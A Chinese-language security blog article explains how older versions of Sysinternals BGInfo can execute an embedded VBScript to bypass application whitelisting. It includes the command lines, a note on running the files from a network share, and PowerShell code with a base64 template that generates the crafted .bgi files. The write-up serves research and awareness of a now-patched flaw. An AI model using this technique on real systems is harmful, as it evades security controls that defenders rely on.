如何利用BGInfo繞過應用程序白名單?
0x00 前言
最近看到一篇有趣的文章《Bypassing Application Whitelisting with BGInfo》,介紹了如何通過BGInfo實現白名單繞過,我對此很感興趣,於是對這部分內容做了學習整理,同時開源了一個powershell腳本,用於自動生成.bgi文件
文章地址如下:https://msitpros.com/?p=3831
0x01 簡介
本文將要介紹如下內容:
Bginfo簡介
通過Bginfo繞過白名單的實際操作
如何使用powershell編輯二進位文件
如何開發powershell腳本自動生成.bgi文件
0x02 Bginfo
Bginfo—強大的Windows系統信息顯示工具,出自Sysinternals套件
下載地址:
https://technet.microsoft.com/en-us/sysinternals/bb897557.aspx
註:
bginfo.exe最新版本為4.22,本文測試版本為4.21
1、簡介
可以自動在桌面的一個區域中顯示當前Windows環境信息
面板如圖
設置後,桌面顯示Windows環境信息,如圖
2、Bginfo命令行模式
/h 彈出幫助
如圖
通過命令行設置桌面顯示信息的命令如下:
bginfo.exe config.bgi /timer:0 /nolicprompt /silent
3、擴展:
點擊Custom可自定義桌面顯示內容,如圖
選擇New
設置數據源,包括環境變數、註冊表鍵值、WMI、文件、VB Script腳本
4、導入WMI查詢:
添加一個WMI查詢,如圖
在面部添加顯示內容,修改桌面,成功顯示新內容,如圖
5、導入VBS:
添加一個vbs查詢,vbs腳本可參考:
該vbs腳本實現:
啟動cmd.exe
在桌面輸出:」Does not matter what this says」
如圖
整個啟動過程還可在cmd下實現
(1) 將上述bgi工程保存為vbs.bgi
(2) cmd:
bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent
6、bginfo.exe和vbs.bgi可以放在遠程伺服器,通過網路共享訪問執行
cmd:WIN-FVJLPTISCFEtestbginfo.exe WIN-FVJLPTISCFEtesttest1.bgi /timer:0 /nolicprompt /silent
完整操作如圖
GIF/23K
0x03 通過Bginfo繞過白名單
完整過程如下:
1、啟動bginfo.exe,添加導入vbs腳本功能,設置vbs腳本路徑,去掉桌面顯示內容
2、將bgi工程保存為.bgi文件
3、命令行執行代碼:
bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent
註:
bginfo.exe的版本需要低於4.22,版本4.22已經修復上述問題
看起來遵循一定的格式,那麼能否通過powershell腳本實現自動生成.bgi文件呢?
0x04 bgi文件格式
通過文件比較來猜測bgi文件格式
分別設置不同的vbs路徑,對比差別,如圖
大膽猜測:
註:
0x05 如何使用powershell編輯二進位文件
使用powershell讀寫文件,最常用的方式為:
然而,對於不是txt的文件,如果存在特殊字元,通過以上方法會出現bug,自動過濾特殊字元串,導致長度不同,內容出錯
讀寫二進位文件方法:
讀二進位文件:
[System.IO.File]::ReadAllBytes( 1.txt )
寫二進位文件:
[System.IO.File]::WriteAllBytes("1.txt",$fileContentBytes)
修改二進位文件:
代碼如下:
$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte(0x00)$fs.flush()$fs.close()
參數說明:
$fs=new-object io.filestream 「test1.bgi」,open:
open表示追加,createnew表示新建
$fs.seek(0,2):
第一個參數表示偏移
第二個參數:0表示以文件開頭作為起點,1表示以當前位置作為起點,2表示以文件末尾作為起點
0x06 編寫powershell腳本實現自動生成.bgi文件
開發思路:
對變數$fileContent作base64解碼,寫入新文件test1.bgi
使用追加方式向文件依次寫入標誌位,vbs路徑和其他填充位
流程如下:
關鍵代碼如下:
powershell代碼:
$fileContent = [System.IO.File]::ReadAllBytes( 1.bgi )$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt")
生成buffer.txt,內容如下:
CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA==
將其保存在變數$fileContent中,解密並寫入文件test1.bgi
$fileContent = "CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA=="$fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File]::WriteAllBytes("test1.bgi",$fileContentBytes)
標誌位計算:
$VbsPath="C:test1.vbs"$Length=$VbsPath.Length+2
寫入長度標誌位+空閑填充位
$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte($Length)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x34)$fs.flush()$fs.close()
追加寫入vbs腳本路徑:
$VbsPath | Out-File -Encoding ascii -Append test1.bgi
存在冗餘數據0D0A,所以偏移應該為-2,寫入空閑填充位:
$fs=new-object io.filestream "test1.bgi",open$fs.seek(-2,2)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x01)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.flush()$fs.close()
完整代碼已上傳至github:
https://github.com/3gstudent/bgi-creater
完整操作如圖
GIF/167K
0x07 小結
本文介紹了通過BGInfo實現白名單繞過的方法,同時介紹了通過powershell編輯二進位文件的方法,開源了一個powershell生成.bgi文件的腳本,希望能夠幫助大家
點擊展開全文


※花170美元,我了解了消費級間諜軟體的世界
※解密美國神秘部門的無限制搜查令:「國家安全信函」
※CVE-2017-7494緊急預警:Samba蠕蟲級提權漏洞,攻擊代碼已在網上擴散
※利用lk-reducer進行Linux內核審計監控文件訪問
※2017年上半年最受矚目的黑客事件,你知道幾個?
TAG:嘶吼RoarTalk |
※如何使用cycript繞過應用程序的PIN保護
※使用 cycript 繞過應用程序的 PIN 保護
※如何利用Webhooks繞過支付環節
※利用metasploit繞過UAC的5種方式
※如何利用PowerShell診斷腳本執行命令並繞過AppLocker
※如何繞過Web應用程序防火牆?
※如何繞過 Web 應用程序防火牆?
※如何繞過並利用Bucket的上傳策略和URL簽名
※如何利用Struts2漏洞繞過防火牆獲取Root許可權
※NodeJS應用程序身份驗證繞過漏洞分析
※看我如何利用Webhook繞過支付請求
※如何使用Apple News Plus訂閱來繞過付費牆
※Facebook、谷歌繞過APP Store收集用戶信息,蘋果竟放小扎一馬
※自動化系統再次繞過Google reCAPTCHA
※BUG仍未修復:iPhone XS可被繞過鎖屏獲取照片
※iPhone XS可被未修復BUG繞過鎖屏獲取照片
※利用macOS High Sierra漏洞以虛擬點擊就能繞過安全機制
※WhatsApp發現隱私漏洞,允許用戶繞過iOS端的Touch ID或Face ID
※安全公司Certfa Lab指出,黑客可繞過雙重認證盜取Gmail或Yahoo賬戶
※Grayshift或已找到繞過iOS12 USB限制模式方法